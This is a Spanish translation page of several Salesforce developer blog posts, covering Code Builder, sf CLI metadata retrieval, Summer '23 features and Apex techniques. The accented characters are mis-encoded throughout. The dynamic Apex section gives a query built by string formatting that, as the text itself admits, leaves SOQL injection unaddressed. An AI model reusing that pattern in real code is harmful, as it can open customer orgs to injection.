Las funciones clave, como la finalizaci贸n y refactorizaci贸n de c贸digo, ayudan a aumentar la productividad del desarrollador, mientras que las herramientas de apuntar y hacer clic dentro de Code Builder, como SOQL Builder, y la compatibilidad con todos los lenguajes y marcos de trabajo de Salesforce, facilitan el desarrollo de cualquier forma que desee. me gusta

Finalmente, con Code Builder, que se basa en AWS, puede acceder a las mismas extensiones de Salesforce y CLI que est谩n disponibles en el escritorio.

Mejor juntos: Code Builder + Open VSX

Cuando inicia Code Builder desde una organizaci贸n, viene precargado con las herramientas de Salesforce que necesita, incluido todo el paquete de extensiones de Salesforce y la CLI de Salesforce. Sin embargo, como parte del proceso de su equipo, es posible que necesite otras herramientas para realizar el trabajo. Ah铆 es donde Open VSX Registry puede ayudar.

Por ejemplo, tomemos el control de fuente. Code Builder ya tiene acceso a Git y GitHub, pero quiz谩s su equipo use algo diferente. Si su equipo trabaja con Jira y BitBucket, puede agregar las extensiones de Jira y Bitbucket en su entorno personal de Code Builder, lo que le permite trabajar con historias y control de fuente sin problemas dentro de Code Builder.

Con casi 3000 extensiones y 1600 editores diferentes en Open VSX, hay muchos otros complementos para elegir para personalizar su entorno Code Builder.

Salesforce y Open VSX

En Salesforce, estamos comprometidos con el c贸digo abierto . Dentro de las organizaciones que fomentan y adoptan el c贸digo abierto, los beneficios para los desarrolladores son claros:

  • C贸digo de mayor calidad: el c贸digo fuente abierto generalmente exhibe las mejores pr谩cticas de dise帽o de software; est谩 escrito de forma modular y limpia, y tambi茅n est谩 bien documentado, ya que los desarrolladores de todo el mundo necesitan entender c贸mo funciona.
  • Mejora de habilidades blandas: trabajar en c贸digo abierto lo lleva a aprender naturalmente c贸mo ser un gran compa帽ero de equipo y colaborador. Tambi茅n aprende de otros desarrolladores expertos siguiendo las pautas de contribuci贸n y revisando el c贸digo.
  • Innovaci贸n: La inteligencia colectiva es extremadamente poderosa. Al tener diferentes cerebros con diferentes antecedentes y mentalidades trabajando juntos, nuevas funciones e ideas innovadoras pueden surgir r谩pidamente.

Open VSX es una gran representaci贸n de la colaboraci贸n de c贸digo abierto. Dado su continuo crecimiento, la Fundaci贸n Eclipse ha formado un grupo de trabajo para guiar la evoluci贸n del Registro Open VSX . Salesforce es patrocinador y miembro del grupo de trabajo para ayudar a garantizar que nuestros usuarios tengan las herramientas y funciones necesarias para construir en nuestra plataforma.

Pr贸ximos pasos

Code Builder se encuentra actualmente en versi贸n beta abierta y est谩 disponible para que cualquiera lo pruebe. Si desea encontrar m谩s recursos, o si tiene preguntas o comentarios, consulte el grupo de la comunidad Code Builder Trailblazer . 隆Esperamos sus comentarios!

Tenga en cuenta que tambi茅n puede acceder a las extensiones de Salesforce en Open VSX, por lo que est谩n disponibles en cualquier lugar donde las necesite.

Sobre los autores

Stephanie Maddox es directora del equipo de gesti贸n de productos de Salesforce. Puedes seguirla en LinkedIn o Twitter .

Alba Rivas trabaja como Principal Developer Advocate en Salesforce. Puedes seguirla en Linkedin , Twitter o GitHub .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Herramientas para desarrolladores desde cero (Parte 2 de 2) 鈽侊笍

Herramientas para desarrolladores desde cero (Parte 2 de 2) 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Herramientas para desarrolladores desde cero (Parte 2 de 2) | Blog de desarrolladores de Salesforce

Tanto si es un nuevo desarrollador que acaba de empezar su carrera en el ecosistema de Salesforce como si es un desarrollador experimentado de Salesforce que a煤n no se ha cambiado a nuestras nuevas herramientas para desarrolladores, esta serie de publicaciones de blog es para usted. Le mostraremos c贸mo configurar y utilizar las herramientas que pueden ayudar a todos los desarrolladores de Salesforce a ser mucho m谩s productivos y felices.

En la Parte 1 de esta serie , discutimos c贸mo obtener una organizaci贸n gratuita para el desarrollo y c贸mo instalar las herramientas de desarrollo que todo desarrollador de Salesforce deber铆a usar hoy. Le mostramos c贸mo crear un proyecto y autorizarlo con su organizaci贸n y, finalmente, c贸mo implementar metadatos mediante la CLI de Salesforce o VS Code. En esta segunda publicaci贸n de blog, aprender谩 c贸mo recuperar metadatos, trabajar con organizaciones con seguimiento de origen y usar bibliotecas de Node para cuidar la calidad de su c贸digo. Adem谩s, compartiremos otras gemas ocultas de las extensiones de Salesforce para VS Code. 隆Vamos a sumergirnos en 茅l!

Recuperar metadatos de la organizaci贸n

Un pilar del desarrollo de Salesforce es ser eficiente sin reinventar la rueda. Es por eso que hay muchas herramientas de c贸digo bajo disponibles que le permiten crear y modificar metadatos directamente en su organizaci贸n con solo hacer clic. Es posible que vea estas herramientas a las que se hace referencia como herramientas de "apuntar y hacer clic" o herramientas "declarativas". Algunos metadatos t铆picos que crea con clics son p谩ginas, aplicaciones y flujos.

Estos metadatos son algo que puede recuperar en su proyecto local y continuar ampli谩ndolos con c贸digo si es necesario. De hecho, la mejor pr谩ctica es recuperar los metadatos de su organizaci贸n y almacenarlos en un sistema de control de versiones como Git. Pero dejemos este tema para otra entrada del blog.

Si crea o modifica metadatos con clics en su organizaci贸n y conoce el nombre del tipo de metadatos que desea recuperar, puede hacerlo ejecutando este comando:

sf project retrieve start -m FlexiPage

Los nombres de los tipos de metadatos pueden no ser obvios al principio. Afortunadamente, hay algo muy bueno que puede usar para ver todos los metadatos que existen en su organizaci贸n y recuperar lo que necesita: Org Browser. El navegador de la organizaci贸n se agrega a VS Code gracias a las extensiones de Salesforce para VS Code. 脕bralo haciendo clic en el 铆cono de la nube en el panel lateral izquierdo de VS Code, busque los metadatos que necesita y simplemente haga clic en recuperar.

Puede encontrar una lista completa de nombres de tipos de metadatos en la Gu铆a para desarrolladores de la API de metadatos .

Una 煤ltima opci贸n: si los metadatos ya existen en su proyecto local y desea recuperar una versi贸n actualizada, puede hacer clic con el bot贸n derecho en el archivo y seleccionar Retrieve Source from Org .

Un requisito com煤n para las organizaciones existentes ser谩 recuperar todos los metadatos de la organizaci贸n por primera vez y almacenarlos en el proyecto local (y, por lo general, en un sistema de control de versiones). Este es un tema m谩s avanzado, pero si quieres aprender c贸mo hacerlo, te recomiendo ver este video Quick Take .

Trabajar con organizaciones con seguimiento de origen

En esta publicaci贸n de blog, nos hemos centrado en las organizaciones que no tienen activado el seguimiento de fuentes. Esta es la opci贸n predeterminada para las organizaciones y sandboxes de desarrolladores, aunque, en los sandboxes de desarrolladores, se puede activar el seguimiento de origen. Existe otro tipo de organizaci贸n, denominada organizaci贸n borrador, que tiene activado el seguimiento de origen de forma predeterminada.

La principal diferencia con las organizaciones con seguimiento de origen, con respecto a la implementaci贸n y recuperaci贸n de c贸digo, es que los cambios de metadatos se rastrean autom谩ticamente. Eso significa que puede simplificar los comandos de implementaci贸n y recuperaci贸n, simplemente escribiendo:

sf project deploy start

o

sf project retrieve start

La CLI detectar谩 autom谩ticamente todo lo que haya cambiado en su organizaci贸n o en su proyecto local y lo implementar谩 o recuperar谩 en consecuencia. Este es un cambio de juego para los desarrolladores, ya que no tener que especificar los metadatos o la carpeta para recuperar o implementar lo convierte en un desarrollador mucho m谩s productivo. Lea la documentaci贸n para comenzar con el seguimiento de fuentes en Sandboxes u organizaciones Scratch .

Cuidando la calidad del c贸digo con las bibliotecas de Node

Cuando genera un proyecto, tambi茅n contendr谩 un archivo package.json . Este archivo define el proyecto como un proyecto de Node.js. La CLI de Salesforce y la Extensi贸n de Salesforce para su IDE estructuran el proyecto de esta manera, para que pueda ejecutar secuencias de comandos que cuidan la calidad de su c贸digo. Los scripts usan bibliotecas que se definen en la secci贸n devDependencies de package.json y deben descargarse en su proyecto local ejecutando el comando npm install . Ninguna de las bibliotecas de Node se implementar谩 en su organizaci贸n, solo se usar谩n en su m谩quina local.

Aqu铆 hay un resumen de lo que hacen las bibliotecas:

  • Prettier se usa para formatear su c贸digo siguiendo criterios configurables. Esto es extremadamente 煤til cuando varios desarrolladores trabajan en el mismo proyecto, ya que tienen una forma unificada y automatizada de formatear el c贸digo. Tambi茅n proporcionamos un complemento Prettier espec铆fico para formatear las clases de Apex.
  • ESLint lo ayuda a encontrar y solucionar problemas con su c贸digo JavaScript. Adem谩s, proporcionamos un complemento ESLint dise帽ado para filtrar el c贸digo JavaScript de Lightning Web Components.
  • sfdx-lwc-jest se utiliza para escribir y ejecutar pruebas de Jest para sus componentes web Lightning. sa11y es un complemento para escribir pruebas de accesibilidad y asegurarse de que sus componentes sean accesibles.

El punto de entrada para usar las bibliotecas son los scripts definidos en la secci贸n scripts .

Los scripts se pueden ejecutar localmente, bajo demanda y de forma automatizada. Por lo general, estos scripts se ejecutan autom谩ticamente antes de enviar su c贸digo a un repositorio de c贸digo al fusionar su c贸digo con c贸digo desarrollado por otros, o al mover cambios entre entornos en su canalizaci贸n. Esto garantiza que el c贸digo tenga la calidad esperada y que su funcionalidad no se rompa. Este concepto se conoce como integraci贸n continua, y puede ver un buen video de codeLive al respecto.

El uso de estas bibliotecas no es obligatorio, pero recomendamos encarecidamente hacerlo. Para saber m谩s sobre este tema, lee nuestra entrada de blog .

Otras joyas de las Extensiones de Salesforce para VS Code

Eso no es todo sobre las extensiones de Salesforce. Agregan a VS Code muchas m谩s capacidades, como resaltado de sintaxis, finalizaci贸n de c贸digo y validaci贸n de CSS para Lightning Web Components, Aura Components, Apex, SOQL y Visualforce.

Tambi茅n muestran una pesta帽a de prueba que hace que sea mucho m谩s f谩cil ejecutar y escribir pruebas de Apex y Lightning Web Components.

Y, por 煤ltimo, tambi茅n facilitan la depuraci贸n de Apex, gracias a Apex Replay Debugger .

Adem谩s de eso, algo muy bueno de VS Code es que puede agregar toneladas de extensiones creadas por desarrolladores de todos los diferentes ecosistemas. Hay extensiones para ayudarlo con el control de versiones y con el an谩lisis est谩tico de c贸digo (como PMD ). Existen extensiones para Prettier y ESLint que te dan avisos cuando el c贸digo no cumple con sus reglas. Hay extensiones para casi todo lo que pueda necesitar, 隆incluso para usar Chat GPT! Eche un vistazo al VS Code Marketplace para ver todas las extensiones disponibles o, mejor a煤n, 隆cree la suya propia!

Conclusi贸n

隆Vaya, eso fue mucho! En esta publicaci贸n de blog, aprendi贸 sobre las herramientas de desarrollador que todo desarrollador de Salesforce debe conocer y utilizar. Al dominar estas herramientas, se convertir谩 en un desarrollador mucho m谩s productivo, r谩pido y feliz. Si quieres aprender todo este contenido en formato de video, mira nuestro episodio de codeLive . Si trabaja con sandboxes, puede ampliar su conocimiento sobre c贸mo trabajar con sandboxes y la CLI de Salesforce leyendo nuestra serie de publicaciones de blog . Y si tiene preguntas, no dude en hacerlas en Salesforce Developers Trailblazer Community . 隆Feliz codificaci贸n!

Sobre el Autor

Alba Rivas trabaja como Principal Developer Advocate en Salesforce. Puedes seguirla en Linkedin , Twitter o GitHub .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Aspectos destacados de la versi贸n para desarrolladores | Aprende Moar Verano '23 鈽侊笍

Aspectos destacados de la versi贸n para desarrolladores | Aprende Moar Verano '23 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Aspectos destacados de la versi贸n para desarrolladores | Aprende Moar Verano '23 | Blog de desarrolladores de Salesforce

隆Haz un gran revuelo con el lanzamiento de Summer '23!

Sabemos que cada versi贸n trae consigo muchas funciones nuevas y sorprendentes, y puede haber mucho que digerir. Con Learn MOAR, empaquetamos el lanzamiento y se lo ofrecemos en un formato f谩cil de digerir con blogs, videos y m谩s.

隆Es f谩cil empezar!

  • 隆Explore los trailmixes de Trailhead con aspectos destacados de lanzamiento clave para desarrolladores o administradores, o ambos!
  • 隆脷nase a nosotros para Release Readiness Live ! Los expertos en productos y los defensores de los desarrolladores analizar谩n y demostrar谩n las nuevas funciones en el lanzamiento de Summer '23 y, al final de nuestra transmisi贸n, responderemos sus preguntas. Sintonice a las 9 am PT el 19 de mayo para la sesi贸n de desarrolladores. 驴No puedes unirte a nosotros en vivo? La grabaci贸n se publicar谩 unas horas despu茅s de que finalice la transmisi贸n.

Siga y complete un trailmix de Learn MOAR Summer '23 para administradores o desarrolladores para obtener una insignia exclusiva de la comunidad.

Introducci贸n

隆El lanzamiento de Summer '23 est谩 aqu铆 y est谩 repleto de funciones para desarrolladores! En esta publicaci贸n de blog, resumiremos los aspectos m谩s destacados, para que pueda obtener una descripci贸n general de las novedades y decidir qu茅 es lo m谩s interesante para usted. En publicaciones posteriores de Learn MOAR, profundizaremos en algunos de estos aspectos destacados, para que pueda explorarlos con mayor detalle. Mantenerse actualizado con las 煤ltimas innovaciones lo ayudar谩 a aumentar su experiencia y convertirse en un desarrollador m谩s exitoso.

Componentes web Lightning

Comencemos hablando de Lightning Web Components, que presentar谩 una gran cantidad de nuevas funciones en Summer '23.

Un par de funciones que estaban en Beta ahora estar谩n disponibles de forma general (GA). Esto incluye DOM ligero , que permite integraciones de terceros y estilo global, Lightning Web Security para LWC y Aura , que facilita el uso de bibliotecas de JavaScript de terceros en LWC. La API RefreshView , que le permite actualizar la vista de un componente, tambi茅n ser谩 GA. Adem谩s, el adaptador de cable GraphQL se est谩 moviendo a Beta, lo que significa que puede probarlo de inmediato, sin tener que registrarse para el programa piloto. Esto cambiar谩 las reglas del juego sobre c贸mo se leen los datos en Lightning Web Components.

Hay varias mejoras en la sintaxis de LWC que facilitar谩n la escritura de sus componentes. Se est谩 lanzando una nueva directiva de plantilla lwc:spread (consulte los documentos ), que le permite distribuir propiedades de objetos a un componente secundario, lo que reduce significativamente la cantidad de c贸digo que necesita escribir. A partir de Summer '23, podr谩 establecer un valor din谩mico para el atributo de ranura de un elemento HTML. Adem谩s, se habilitar谩 la inyecci贸n program谩tica de hojas de estilo, lo que le permitir谩 establecer la propiedad est谩tica de las hojas de estilo para un componente.

驴Ha comenzado a escribir pruebas de extremo a extremo con UTAM? Esta versi贸n tambi茅n trae mejoras a las capacidades de manejo de errores de UTAM y una extensi贸n de Chrome para identificar objetos de p谩gina de UTAM (en Beta).

M贸vil sin conexi贸n

Salesforce Mobile App Plus (Salesforce App+) es una versi贸n de la aplicaci贸n Salesforce Mobile que habilita LWC Offline. LWC Offline es un entorno de tiempo de ejecuci贸n avanzado para componentes web Lightning que aumenta el tiempo de ejecuci贸n est谩ndar con funciones dise帽adas espec铆ficamente para uso m贸vil y sin conexi贸n. Si bien LWC Offline anteriormente solo estaba disponible en la aplicaci贸n m贸vil Salesforce Field Service, Salesforce App+ le permite usarlo en un contexto m谩s gen茅rico. Salesforce App+ se cerr贸 en Beta en Spring '23 y se trasladar谩 a GA en Summer '23. Salesforce App+ est谩 disponible bajo la licencia Salesforce Mobile Plus.

Integraci贸n de plataforma

Tener una plataforma robusta es tan importante como tener capacidades de integraci贸n s贸lidas. Es por eso que la versi贸n Summer '23 trae muchas funciones de integraci贸n nuevas.

En esta versi贸n, ampliamos la API REST de Salesforce para admitir la recuperaci贸n de elementos secundarios mediante la definici贸n de hasta cinco niveles de consultas SOQL anidadas . Tambi茅n ampliamos la API REST de Connect y la API de Connect (Connect in Apex) para permitir que los desarrolladores creen y administren credenciales con nombre mediante programaci贸n. Adem谩s, la API GraphQL, que se hizo GA en Spring, ahora admitir谩 consultas con funciones agregadas y mejorar谩 sus capacidades de manejo de errores . Los eventos de la plataforma tambi茅n incluyen nuevas funciones, como la capacidad de agregar una clase de devoluci贸n de llamada a su c贸digo de publicaci贸n de Apex , que proporcionar谩 una confirmaci贸n cuando el evento de la plataforma se publique correctamente. Adem谩s, podr谩 obtener m茅tricas de uso de eventos de la plataforma consultando el objeto PlatformEventUsageMetric .

Tambi茅n se est谩n mejorando las capacidades de integraci贸n en Flow. Flow Builders ahora podr谩 configurar llamadas HTTP GET a sistemas externos que no tienen una especificaci贸n de API abierta a trav茅s de la funci贸n Servicios externos. Las llamadas HTTP POST est谩n en Beta. Si es un Muley , puede leer m谩s sobre las innovaciones de Flow plus MuleSoft en la siguiente secci贸n.

Adem谩s de todo esto, el adaptador GraphQL de Salesforce Connect que anunciamos en febrero se mudar谩 a GA, y Event Relay ahora admitir谩 Shield Platform Encryption y tendr谩 una nueva interfaz de usuario de configuraci贸n f谩cil de usar.

Innovaciones entre nubes

Aunque MuleSoft, Tableau y Slack siguen sus propios ciclos de lanzamiento, son partes integrales del ecosistema de Salesforce y de vital importancia para los desarrolladores.

Mula Suave

Una de las innovaciones m谩s recientes de MuleSoft es Anypoint Code Builder (Beta), el IDE de pr贸xima generaci贸n de MuleSoft para dise帽ar, desarrollar e implementar API, integraciones y automatizaci贸n desde un solo entorno. 隆Compru茅balo si a煤n no lo has hecho!

Si ley贸 la secci贸n "Integraci贸n de la plataforma" anterior, es posible que haya recibido un spoiler: MuleSoft se est谩 integrando en Flow m谩s que nunca. En Summer '23, habr谩 una nueva secci贸n en la interfaz de usuario de configuraci贸n de Salesforce Platform, desde la cual podr谩 configurar y administrar los servicios de MuleSoft , que luego se pueden usar en Flow Builder. Adem谩s, el soporte de MuleSoft se est谩 agregando a Flow Orchestrator , lo que facilita la creaci贸n de procesos comerciales automatizados de varios pasos que utilizan los servicios de MuleSoft.

Por 煤ltimo, se lanzar谩 Anypoint Experience Hub . Es la pr贸xima evoluci贸n de Anypoint API Community Manager y permite a los clientes crear portales de API en minutos para una mejor participaci贸n de API.

Cuadro

Si trabaja con API, es posible que est茅 familiarizado con la colecci贸n Postman de API de Salesforce . Esta colecci贸n se ha vuelto muy popular y es ampliamente adoptada en el ecosistema de Salesforce, con actualmente m谩s de 500 bifurcaciones y m谩s de 800 estrellas. Tableau recientemente se subi贸 al carro al agregar sus propias muestras de la API REST de Tableau a la colecci贸n. Para obtener m谩s informaci贸n, lea nuestra entrada de blog .

Si le gust贸 la colecci贸n, le encantar谩 la innovaci贸n m谩s reciente de Tableau, cuya vista previa p煤blica se anunci贸 en la Conferencia de Tableau (TC) 2023 del 9 al 11 de mayo. El nuevo Tableau Embedding Playground ofrece a los desarrolladores un entorno de aprendizaje interactivo para desarrollar r谩pidamente soluciones de an谩lisis integradas. Integre visualizaciones de Tableau y agregue r谩pidamente interacciones que establezcan filtros y par谩metros, obtengan marcas y datos seleccionados, utilizando los componentes b谩sicos de los m茅todos y las propiedades de la API de incorporaci贸n. En el futuro, use sus propias visualizaciones en Tableau Cloud, Tableau Server o Tableau Public para desarrollar sus aplicaciones personalizadas con c贸digo que puede exportar y ejecutar en cualquier lugar.

La diversi贸n no se detiene ah铆. Para admitir an谩lisis integrados personalizados y seguros, Tableau introdujo recientemente dos nuevas funciones de usuario que permiten a los desarrolladores y administradores pasar cualquier atributo de usuario en tiempo de ejecuci贸n dentro del flujo de autenticaci贸n integrado. Para obtener m谩s informaci贸n, leanuestra entrada de blog .

Flojo

Finalmente, nos complace compartir que Slack acaba de anunciar la disponibilidad general de su plataforma Slack de pr贸xima generaci贸n. En la nueva plataforma, puede crear aplicaciones modulares mediante el desarrollo de componentes b谩sicos, como funciones, flujos de trabajo y activadores, mediante TypeScript y Deno . Ahora puede implementar en la infraestructura administrada por Slack, ahorrando tiempo y aumentando la eficiencia. En el futuro, los usuarios de Slack podr谩n aprovechar cada capacidad que ofrece y combinarlas con otras funciones, servicios y proveedores de software para crear automatizaciones potentes y personalizadas. La plataforma tambi茅n incluye una CLI, que puede usar para desarrollar, probar e implementar sus funciones y flujos de trabajo. Para obtener m谩s informaci贸n al respecto y obtener experiencia pr谩ctica, dir铆jase a la gu铆a de inicio r谩pido .

Aprende MOAR

Nuestros gerentes de producto y defensores de desarrolladores est谩n de vuelta para compartir las 煤ltimas caracter铆sticas y funcionalidades que llegar谩n en Summer '23. Para ayudarlo a desarrollarse m谩s r谩pido, hay una gran cantidad de contenido nuevo del equipo de relaciones con desarrolladores que cubre sus nuevas caracter铆sticas favoritas. 隆Aseg煤rese de consultar Release Readiness Live el viernes 19 de mayo a las 9:00 a. m. PST, y lea lo 煤ltimo en el blog de desarrolladores de Salesforce para conocer m谩s innovaciones relacionadas con desarrolladores en el lanzamiento de Summer '23!

Sobre el Autor

Alba Rivas trabaja como Principal Developer Advocate en Salesforce. Actualmente se enfoca en el desarrollo de Lightning Web Components y Slack. Puedes seguirla en Twitter o Linkedin .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Sube de nivel tus habilidades Apex 鈽侊笍

Sube de nivel tus habilidades Apex 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Subiendo de nivel tus habilidades de Apex | Blog de desarrolladores de Salesforce

Apex es una habilidad 煤nica que los desarrolladores deben dominar al crear soluciones personalizadas con Salesforce. Hay algunos conceptos b谩sicos que son esenciales. Ciertas cosas, como la sintaxis y el flujo de control, son como aprender cualquier otro idioma. Otras cosas, como operaciones masivas, l铆mites reguladores y disparadores, son particulares de Apex y c贸mo se implementa en la Plataforma de Salesforce. Una vez que tenga una idea de estas caracter铆sticas y modismos clave, 驴a d贸nde va despu茅s?

En esta publicaci贸n, aprender谩 sobre algunas caracter铆sticas de Apex que son cr铆ticas para cualquier desarrollador de Apex que busque mejorar m谩s all谩 de lo b谩sico, junto con d贸nde puede ir para aprender sobre ellas.

Nota: Siempre que sea posible, los ejemplos de c贸digo en esta publicaci贸n se toman directamente o se adaptan de la aplicaci贸n de muestra Recetas de Apex o la Gu铆a para desarrolladores de Apex. Ver las referencias al final del art铆culo.

En estos d铆as, si desea un proceso automatizado o una interfaz de usuario similar a un asistente, Flow siempre debe ser una opci贸n que considere. El alcance, la flexibilidad y la madurez de Flow han crecido enormemente. A煤n as铆, es raro que los problemas comerciales complejos se puedan resolver sin ning煤n tipo de c贸digo.

Introduzca Apex invocable.

La anotaci贸n @InvocableMethod se usa para definir m茅todos llamados por Flow. Y @InvocableVariable muestra los par谩metros para que Flow pase datos a su c贸digo Apex. 驴Por qu茅 llamar铆a a Apex desde Flow? Quiz谩s la l贸gica de su flujo se est谩 volviendo demasiado compleja. Tal vez su automatizaci贸n necesite realizar una operaci贸n que no sea accesible para Flow. En casos como estos, Apex puede ser su amigo.

Aqu铆 hay una ilustraci贸n b谩sica del uso de la anotaci贸n @InvocableMethod :

<dx-code-block title language="java" code-block="public class AccountQueryAction {   @InvocableMethod(label='Get Account Names' description='Returns the list of account names corresponding to the specified account IDs.' category='Account')   public static List getAccountNames(List ids) {     List accountNames = new List();     List accounts = [SELECT Name FROM Account WHERE Id in :ids];     for (Account account : accounts) {       accountNames.add(account.Name);     }     return accountNames;   } }禄>

Este ejemplo de la Gu铆a para desarrolladores de Apex ilustra c贸mo la anotaci贸n marca esto como un m茅todo que Flow puede invocar. Tenga en cuenta que la anotaci贸n tambi茅n define detalles como una etiqueta y una descripci贸n que determinan lo que se muestra al usuario de Flow Builder.

Un efecto secundario importante de las anotaciones de @Invocable鈥 del que pocas personas hablan es que esto muestra autom谩ticamente su Apex al punto final de la API <INSTANCEURL>/data/<VERSION>/actions/custom/apex .

Otra cosa 煤til que puede hacer al invocar Apex desde su flujo es acceder a los diferentes tipos de Apex as铆ncrono. Lo que trae a colaci贸n la siguiente caracter铆stica de Apex que se debe abordar.

La ejecuci贸n as铆ncrona desacopla una acci贸n que queremos realizar del contexto de ejecuci贸n actual. Siguiendo las mejores pr谩cticas actuales, existen tres formas de ejecutar Apex de forma asincr贸nica: en cola, programable y por lotes. Aunque t茅cnicamente el bus de eventos es as铆ncrono, lo omitiremos por el momento.

Si solo necesita activar un poco de c贸digo para ejecutarlo de forma asincr贸nica, la opci贸n en cola es la herramienta de referencia. Si tiene varias tareas asincr贸nicas, queueable las ejecuta de manera determinista en orden. Debido a que est谩n en cola en orden, tambi茅n puede encadenar una llamada as铆ncrona de otra. Y Apex en cola admite entradas de objetos o tipos primitivos.

Apex programado funciona tal como lo esperar铆a: ejecute alg煤n c贸digo de Apex en un horario. Batch Apex est谩 optimizado para trabajar con conjuntos de datos muy grandes. Para utilizar Apex as铆ncrono, debe crear una clase de Apex que implemente una interfaz espec铆fica: Queueable , Schedulable o Batchable , respectivamente.

Nota: algunos desarrolladores pueden estar familiarizados con la anotaci贸n @Future para hacer que un solo m茅todo sea asincr贸nico, tambi茅n conocido como "m茅todos futuros". Los m茅todos futuros, aunque r谩pidos y f谩ciles, tienen limitaciones que los hacen menos 煤tiles. No hay nada que pueda hacer con un m茅todo futuro que no se pueda hacer mejor con una clase en cola. Por este motivo, no recomendamos implementaciones de producci贸n con m茅todos futuros.

Por lo tanto, echemos un vistazo a un ejemplo de una clase de Apex que se puede poner en cola.

<dx-code-block title language="Java" code-block="public with sharing class QueueableRecipes implements Queueable { public static void execute(QueueableContext qc) { List accounts = [ SELECT Id, Description FROM Account LIMIT 1000 ]; for (Account acct : accounts) { acct.Description += ‘ Edited by Queueable class’; } try { update accounts; } catch (DmlException dmle) { System.debug( LoggingLevel.INFO, ‘real life use cases should do more than just logging the error: ‘ + dmle.getMessage() ); } }
} 芦>

Todas las interfaces as铆ncronas de Apex tienen un m茅todo execute() que debe implementarse como se muestra arriba. Para ejecutar su clase Queueable , debe ponerla en cola.

Si bien no se muestra en este ejemplo de la aplicaci贸n de muestra Recetas de Apex, para pasar datos a su cola, anule el constructor con los par谩metros que necesita.

El t茅rmino "Apex din谩mico" es un poco inapropiado. O, al menos, podr铆a malinterpretarse como que Apex de alguna manera funciona como un lenguaje de programaci贸n din谩mico. Esto no es a lo que se refiere (por ejemplo, no hay Apex
funci贸n eval !).

Dynamic Apex es un c贸digo que se adapta a diferentes tipos de SObject ( Account , Contact , My_Custom_Object__c , etc.) en tiempo de ejecuci贸n. Esto se hace abstrayendo referencias espec铆ficas de SObject. La clave es usar la superclase SObject cuando se trabaja con datos. Tambi茅n utilizar谩 las funciones de "descripci贸n" de Apex para detectar con qu茅 objetos y campos est谩 trabajando y qu茅 puede hacer con ellos (por ejemplo, si este usuario puede consultar este objeto).

Esta es una habilidad esencial para los desarrolladores de ISV. A menudo, crear谩 una aplicaci贸n que debe adaptarse al entorno local del cliente que instala su aplicaci贸n. Esto significa que su c贸digo necesita detectar, describir y adaptar su comportamiento dependiendo de datos conocidos o incluso desconocidos.

Aunque es esencial para un desarrollador de ISV, tambi茅n es importante para cualquier persona que quiera escribir c贸digo m谩s reutilizable.

Tome este ejemplo de consulta muy b谩sico:

<dx-code-block title language="Java" code-block="List accts = [SELECT Id, Name, Website FROM Account];禄>

Esto funcionar谩 todo el d铆a consultando los datos de la cuenta. Pero, 驴y si queremos construir una consulta para cualquier SObject?

Para convertir esto en un Apex "din谩mico", necesitamos abstraer las referencias de campo y SObject espec铆ficas. Y tal vez lo incluir铆amos en un m茅todo que permitiera a otro desarrollador pasarlos. Tambi茅n podr铆amos verificar para asegurarnos de que el usuario tenga los permisos de objeto para realizar la operaci贸n que estamos a punto de intentar.

<dx-code-block title language="Java" code-block="public static List executeDynamicQuery(Schema.DescribeSObjectResult obj, List fields){ // Create a result-set list List resultRecords; if (obj.isQueryable()){ // Set up a query string String queryTemplate = ‘SELECT {0} FROM {1}’; List queryDetails = new List{String.join(fields, ‘, ‘), obj.getName()}; String queryString = String.format(queryTemplate, queryDetails); // Run your query resultRecords = Database.query(queryString); } return resultRecords; } 芦>

Lo anterior construye una consulta para un SObject que se pasa al m茅todo y una lista arbitraria de campos. Utiliza el objeto DescribeSObjectResult para detectar la capacidad de consulta e inferir el nombre de la API de SObject al construir y ejecutar la consulta. A continuaci贸n, debe invocarlo.

As铆 es como podr铆amos hacer eso con los objetos Cuenta y Contacto, respectivamente:

<dx-code-block title language="Java" code-block="List accountRecords = DynamicApexClass.dynamicQuery(Account.SObjectType.getDescribe(), new List{‘Id’,’Name’,’Website’}); List contactRecords = DynamicApexClass.dynamicQuery(Contact.SObjectType.getDescribe(), new List{‘Id’,’FirstName’,’LastName’}); 芦>

Este ejemplo no aborda algunos riesgos de SOQL din谩mico, como la inyecci贸n de SOQL. Por lo tanto, aseg煤rese de leer sobre Apex din谩mico. Aprender a escribir Apex seguro har谩 que sea menos probable que implemente c贸digo vulnerable en su organizaci贸n (o la de un cliente). El enlace de variables en sus consultas SOQL es una herramienta clave para proteger su Apex din谩mico de ser explotado. El m茅todo escapeSingleQuotes() es otra herramienta m谩s antigua que tambi茅n puede encontrar. El modo de usuario tambi茅n es clave para garantizar que cualquier acci贸n realizada tenga que cumplir con todas y cada una de las restricciones del usuario que la ejecuta.

Para obtener un ejemplo m谩s completo y seguro de Apex din谩mico, consulte la receta de Apex del m茅todo invocable en la aplicaci贸n de ejemplo Recetas de Apex. Esa acci贸n invocable funciona con el objeto Cuenta o Tarea.

Con Salesforce, hay algunas formas de realizar la integraci贸n sin c贸digo. Espec铆ficamente, si solo necesita una aplicaci贸n o servicio de cliente para obtener datos de Salesforce, hay muchas API que se muestran autom谩ticamente sin ning煤n tipo de codificaci贸n en el lado de Salesforce. Incluso se ajustan a su esquema personalizado. Si est谩 integrando su organizaci贸n a un sistema externo compatible con OData, puede usar Salesforce Connect y objetos externos (nuevamente, no se requiere c贸digo).

